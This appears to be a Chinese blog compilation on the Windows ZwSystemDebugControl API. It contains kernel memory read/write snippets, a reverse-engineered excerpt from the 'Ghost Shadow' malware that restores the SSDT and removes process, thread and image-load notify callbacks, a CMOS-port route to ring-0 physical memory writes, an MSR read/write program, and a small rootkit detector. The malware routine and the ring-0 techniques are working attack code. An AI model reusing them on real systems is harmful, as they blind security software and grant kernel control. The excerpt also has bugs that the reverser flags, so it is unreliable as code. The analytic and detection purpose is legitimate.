ZwSystemDebugControl函数

使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存

//读取

MEMORY_CHUNKS QueryBuff;
DWORD *address2=new DWORD[dwServices];
QueryBuff.Address = dwKernelBase+dwKiServiceTable;
QueryBuff.Data = address2;
QueryBuff.Length = sizeof(DWORD)*dwServices;
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgReadVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

//恢复

MEMORY_CHUNKS QueryBuff;
QueryBuff.Address=dwKiServiceTable+dwKernelBase;
QueryBuff.Data=address1;
QueryBuff.Length=dwServices*sizeof(DWORD);
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgWriteVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

 

 

=========================

 


/***************************************************************************************
*
*    分析了一下“鬼影”病毒,从里面扒了段代码出来。
*
*    该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除
*    PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
*    PsSetCreateThreadNotifyRoutine 三个钩子。
*
*    代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。
*
*    逆向 by Fypher
*    http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子
// 先提权
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
    if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
      tkp.Privileges[0].Luid.LowPart = luid.LowPart;
      tkp.Privileges[0].Luid.HighPart = luid.HighPart;
      tkp.PrivilegeCount = 1;
      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
    }
}
CloseHandle(hObject); // 此处有bug

// 获取所需函数,应该检查一下返回值
char strProcName[32] = "ZwSystemDebugControl";
HMODULE hNtdll = GetModuleHandle("ntdll");
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);

strcpy(strProcName, "NtQuerySystemInformation");
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);

// 查询系统模块信息
ULONG ulRet = 0;
NTSTATUS status;

status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
if (status != STATUS_INFO_LENGTH_MISMATCH)
    return 0;

// 这里写得不好,没有检查返回值,并且用 heap 类函数快得多
HLOCAL hlocal = LocalAlloc(LPTR, ulRet); 

status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet)) 
    return 0; // 此处有资源泄露,应该释放 hlocal

// WS的方式把 ntoskrnl 的真名找到了
PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
    char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;

HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtoskrnl)
    return 0; // 此处有资源泄露,应该释放 hlocal

// 准备恢复SSDT
strcpy(strProcName, "KeServiceDescriptorTable");

ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE;    // 取得基址,多余操作


ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase; // 取PE头
ULONG ulImageBase = *(PULONG)(ulPEHdr + 52); // 取 ImageBase
ULONG ulSSDTAddr = ulImageBase + ulSSDToffset;

MEMORY_CHUNKS QueryBuff;
QueryBuff.Address = (ULONG)ulSSDTAddr;

ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80); // 取 SizeOfImage

PVOID lpAddress;
int i = 0;
if (ulSizeOfImage) {
    while (1) {
      lpAddress = (LPVOID)(ulNtoskrnlBase + i);
      // 寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx
      // 特征码 C7 05 SSDT xxxx
      if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
        if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
          break;
      }
      ++i;
      if (i >= ulSizeOfImage)
        break;
    }
    if (i <ulSizeOfImage)
      QueryBuff.Address = *((PULONG)lpAddress + 1);
}

if (i == ulSizeOfImage) {
    return 0; // 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal
}
else { // 此处有bug, i > ulSizeOfImage后程序会流向此处
    PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
    DWORD dwOldProtect = 0;
    VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值
    int num = 280; // 这里写得不好,函数个数应该动态获取
    
    do {
      FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
      --num;
    } while (num >= 0);
    
    // 恢复SSDT
    DWORD dwRet;
    QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
    QueryBuff.Data = FunAddr;
    QueryBuff.Length = 1120; // 这里写得不好,函数个数应该动态获取
    status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

    if ( bArg ) { // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子

      // 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
      strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
      ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
      
      QueryBuff.Address = ulProcAddr;
      if ( *(WORD *)ulProcAddr != 0xCCCC ) { // 此处有bug
        do {
          ++ulProcAddr;
        } while ( *(WORD *)ulProcAddr != 0xCCCC );
        
        while (ulProcAddr > QueryBuff.Address ) {
          // 寻找 PsImageNotifyEnabled
          // mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。
          if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
            ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);

            // 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子
            int buff = 0;
            QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
            QueryBuff.Data = &buff
            QueryBuff.Length = 1;
            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
            break;
          }
          --ulProcAddr;
        }
      }

      // 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
      strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
      ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);

      QueryBuff.Address = ulProcAddr;
      if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
        // 找函数出口,retn 8
        while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
          ++ulProcAddr;
          if (ulProcAddr >= QueryBuff.Address + 256)
            break;
        }

        while ( ulProcAddr < QueryBuff.Address + 256 ) {
          // 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
          if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
            if (*(PULONG)(ulProcAddr + 1) > 0x400000) { // 取得_PspCreateProcessNotifyRoutineCount
              int buff = 0;
              QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
              QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
              QueryBuff.Data = &buff;
              QueryBuff.Length = 4;
              status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
              break;
                    }
            ulProcAddr += 4;
          }
          ++ulProcAddr;
        }
      }
      // 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了
      strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
      ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
      QueryBuff.Address = ulProcAddr;
      while (1) {
        if (ulProcAddr >= QueryBuff.Address + 256)
          break;
        if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
          break;
        ++ulProcAddr;
      }
      for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
        if ((*(BYTE *)addr & 0xF8) == 0xB8) {
          if (*(PULONG)(addr + 1) > 0x400000) {
            int buff = 0;
            QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
            QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
            QueryBuff.Data = &buff;
            QueryBuff.Length = 4;
            status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
            break;
          }
          addr += 4;
        }
      }
    }
    FreeLibrary(hNtoskrnl);
    return NT_SUCCESS(status); // 此处有资源泄露,应该释放 hlocal
}
}


========================================================


利用ZwSystemDebugControl进入R0
利用ZwSystemDebugControl进入R0

算是半公开了很久的技术吧

貌似去年底XYZREG就在BLOG里提到过了,不过貌似正式的利用方法一直没有人说

今天有人放了个BIN出来

索性就简单讲讲这玩意好了

更多细节见驱网上某人的BIN和我反的IDB~

 

通过

ZwSystemDebugControl(SysDbgRead/WriteBusData) -> KdpRead/WriteBusData (SoltNumber=1,BusType=BUS_CMOS) ->HalGet/SetBusDataByOffset(BusType=BUS_CMOS,SoltNumber=1) -> HalpSet/GetCmosData(SoltNumber=1)

可以直接读写系统的物理内存


实际就是调用HalSet/GetCmosData中的代码

写入系统的74~76H号端口,来进行物理内存读写

0074-0076 secondary CMOS (Compaq), NVRAM (IBM) access

0074 w secondary CMOS RAM (IBM NVRAM) index, low byte
0075 w secondary CMOS RAM (IBM NVRAM) index, high byte
0076 r/w secondary CMOS RAM (IBM NVRAM) data byte

Note: NVRAM may be 2K, 8K, or 16K

能读写物理内存,自然就可以轻松进入R0了

不过这个方法似乎在部分机器上会造成蓝屏~

=================================================================


//?XP下利用“ZwSystemDebugControl ”API函数读写CPU MSR   

/**************************************************************************** 
**********************             声明部分          *********************** 
****************************************************************************/ 
#include <windows.h>   
#include <stdio.h>   

#pragma comment(lib, "advapi32")   

#define NTAPI       __stdcall   
#define FCHK(a)     if (!(a)) {printf(#a " failed/n"); return 0;}   

typedef int NTSTATUS;   

typedef enum _SYSDBG_COMMAND   
{   
    DebugSysReadMsr = 16,    //读取MSR参数   
    DebugSysWriteMsr = 17,   //写入MSR参数   
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;   

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (   
    SYSDBG_COMMAND ControlCode,   
    PVOID InputBuffer,   
    ULONG InputBufferLength,   
    PVOID OutputBuffer,   
    ULONG OutputBufferLength,   
    PULONG ReturnLength   
    );   

PZwSystemDebugControl ZwSystemDebugControl = NULL;   

typedef struct _MSR_STRUCT {   
    DWORD MsrNum;            // MSR number   
    DWORD NotUsed;            // Never accessed by the kernel   
    DWORD MsrLo;            // IN (write) or OUT (read): Low 32 bits of MSR   
    DWORD MsrHi;            // IN (write) or OUT (read): High 32 bits of MSR   
} MSR_STRUCT;   






//---------申请访问权限---------   
BOOL EnablePrivilege (PCSTR name)   
{   
    HANDLE hToken;   
    BOOL rv;   
       
    TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };   
    LookupPrivilegeValue (   
        0,   
        name,   
        &priv.Privileges[0].Luid   
    );   
       
    OpenProcessToken(   
        GetCurrentProcess (),   
        TOKEN_ADJUST_PRIVILEGES,   
        &hToken   
    );   
       
    AdjustTokenPrivileges (   
        hToken,   
        FALSE,   
        &priv,   
        sizeof priv,   
        0,   
        0   
    );   
    rv = GetLastError () == ERROR_SUCCESS;   
       
    CloseHandle (hToken);   
    return rv;   
}   



int main (void)   
{   
    HMODULE hNtdll;   
    ULONG ReturnLength;   
    OSVERSIONINFO OSVersionInfo;   
    OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);   
    MSR_STRUCT msr;   

    EnablePrivilege (SE_DEBUG_NAME);   

    FCHK ((hNtdll = LoadLibrary ("ntdll.dll")) != NULL);   
    FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)    
           GetProcAddress (hNtdll, "ZwSystemDebugControl")) != NULL);   
    FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);   

    if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&   
        OSVersionInfo.dwMajorVersion >= 5 &&   
        OSVersionInfo.dwMinorVersion >= 1)    //Windows XP以上   
    {   

        msr.MsrNum=409; //MSR 地址,十进制形式   
       //写入时要设置以下数据   
       // msr.MsrHi=00;   
       // msr.MsrLo=1030;   
           
     
        ZwSystemDebugControl    
            (   
            DebugSysReadMsr, //如果想写入,则改为DebugSysWriteMsr   
            &msr,   
            sizeof (msr),   
            NULL,   
            0,   
            NULL   
            );   

        printf("%08X=%08X-%08X/n",msr.MsrNum,msr.MsrHi,msr.MsrLo);   
        Sleep(10000);   
          
    }   
    else 
    {   
        printf ("This program require Windows XP or Windows 2003./n");   
    }   
    return 0;   
}   
//------------------------------------------------------------------------


使用ZwSystemDebugControl的简易用户模式Rootkit检测器代码

NTSTATUS
ReadKernelMemory(IN PVOID BaseAddress,
                 OUT PVOID Buffer,
                 IN ULONG Length)
{
    NTSTATUS Status;
    SYSDBG_VIRTUAL DbgMemory;

    //
    // Setup the request
    //
    DbgMemory.Address = BaseAddress;
    DbgMemory.Buffer = Buffer;
    DbgMemory.Request = Length;

    //
    // Do the read
    //
    Status = NtSystemDebugControl(SysDbgReadVirtual,
                                  &DbgMemory,
                                  sizeof(DbgMemory),
                                  NULL,
                                  0,
                                  NULL);
    return Status;
}

PCHAR
FindDriverForAddress(IN PVOID Pointer)
{
    NTSTATUS Status;
    PRTL_PROCESS_MODULES ModuleInfo;
    PRTL_PROCESS_MODULE_INFORMATION ModuleEntry;
    ULONG ReturnedLength;
    ULONG i;

    //
    // Figure out how much size we need
    //
    Status = NtQuerySystemInformation(SystemModuleInformation,
                                      NULL,
                                      0,
                                      &ReturnedLength);
    if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;

    //
    // Allocate a buffer large enough
    //
    ModuleInfo = RtlAllocateHeap(RtlGetProcessHeap(), 0, ReturnedLength);
    if (!ModuleInfo) return NULL;

    //
    // Now query the data again
    //
    Status = NtQuerySystemInformation(SystemModuleInformation,
                                      ModuleInfo,
                                      ReturnedLength,
                                      &ReturnedLength);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Loop all the drivers
    //
    for (i = 0; i < ModuleInfo->NumberOfModules; i++)
    {
        //
        // Get the current entry and check if the pointer is within it
        //
        ModuleEntry = &ModuleInfo->Modules[i];
        if ((Pointer > ModuleEntry->ImageBase) &&
            (Pointer < ((PVOID)((ULONG_PTR)ModuleEntry->ImageBase +
                                ModuleEntry->ImageSize))))
        {
            //
            // Found a match, return it
            //
            return ModuleEntry->FullPathName;
        }
    }
}

PCHAR
DetectDriver(VOID)
{
    BOOLEAN Old;
    NTSTATUS Status;
    ULONG_PTR MappedAddress;
    PVOID KernelBase, TableBase;
    UNICODE_STRING KernelName;
    ANSI_STRING TableName = RTL_CONSTANT_STRING("KeServiceDescriptorTable");
    RTL_PROCESS_MODULES ModuleInfo;
    ULONG Flags;
    KSERVICE_TABLE_DESCRIPTOR ServiceTable;

    //
    // Give our thread the debug privilege
    //
    Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &Old);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Query the kernel's module entry
    //
    Status = NtQuerySystemInformation(SystemModuleInformation,
                                      &ModuleInfo,
                                      sizeof(ModuleInfo),
                                      NULL);
    if (Status != STATUS_INFO_LENGTH_MISMATCH) return NULL;

    //
    // Initialize the kernel's full path name
    //
    Status = RtlCreateUnicodeStringFromAsciiz(&KernelName,
                                              ModuleInfo.Modules[0].FullPathName);
    if (!Status) return NULL;

    //
    // Keep only the short name
    //
    KernelName.Buffer = KernelName.Buffer +
                        (KernelName.Length / sizeof(WCHAR)) -
                        12;

    //
    // Map the kernel
    //
    Flags = IMAGE_FILE_EXECUTABLE_IMAGE;
    Status = LdrLoadDll(NULL, &Flags, &KernelName, &KernelBase);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Find the address of KeServiceDescriptorTable
    //
    Status = LdrGetProcedureAddress(KernelBase, &TableName, 0, &TableBase);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Unload the kernel image, we're done with it
    //
    Status = LdrUnloadDll(KernelBase);
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Get the virtual address we need
    //
    MappedAddress = (ULONG_PTR)ModuleInfo.Modules[0].ImageBase;
    MappedAddress -= (ULONG_PTR)KernelBase;
    MappedAddress += (ULONG_PTR)TableBase;

    //
    // Now read the SSDT
    //
    Status = ReadKernelMemory((PVOID)MappedAddress,
                              &ServiceTable,
                              sizeof(ServiceTable));
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Setup the argument table
    //
    ArgumentTable = RtlAllocateHeap(RtlGetProcessHeap(),
                                    0,
                                    ServiceTable.Limit * sizeof(ULONG_PTR));
    if (!ArgumentTable) return NULL;

    //
    // Now fill it up
    //
    Status = ReadKernelMemory(ServiceTable.Base,
                              ArgumentTable,
                              ServiceTable.Limit * sizeof(ULONG_PTR));
    if (!NT_SUCCESS(Status)) return NULL;

    //
    // Now scan it
    //
    for (i = 0; i < ServiceTable.Limit; i++)
    {
        //
        // Make sure no pointer is outside the kernel area
        //
        if (ArgumentTable[i] > 0x8FFFFFFF)
        {
            //
            // Find the driver file that this belongs to
            //
            return FindDriverForAddress(UlongToPtr(ArgumentTable[i]));
        }
    }

    //
    // If we got here, then you don't have any rootkit
    //
    return NULL;
}   

=====================================================================

 

ring3下用ZwSystemDebugControl获取和恢复SSDT
使用ZwSystemDebugControl,可以在ring3下读写内核空间虚拟内存

//读取

MEMORY_CHUNKS QueryBuff;
DWORD *address2=new DWORD[dwServices];
QueryBuff.Address = dwKernelBase+dwKiServiceTable;
QueryBuff.Data = address2;
QueryBuff.Length = sizeof(DWORD)*dwServices;
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgReadVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

//恢复

MEMORY_CHUNKS QueryBuff;
QueryBuff.Address=dwKiServiceTable+dwKernelBase;
QueryBuff.Data=address1;
QueryBuff.Length=dwServices*sizeof(DWORD);
DWORD ReturnLength;
ZwSystemDebugControl
    (
    SysDbgWriteVirtualMemory,
    &QueryBuff,
    sizeof(MEMORY_CHUNKS),
    NULL,
    0,
    &ReturnLength
    );

你可能感兴趣的:(ZwSystemDebugControl函数)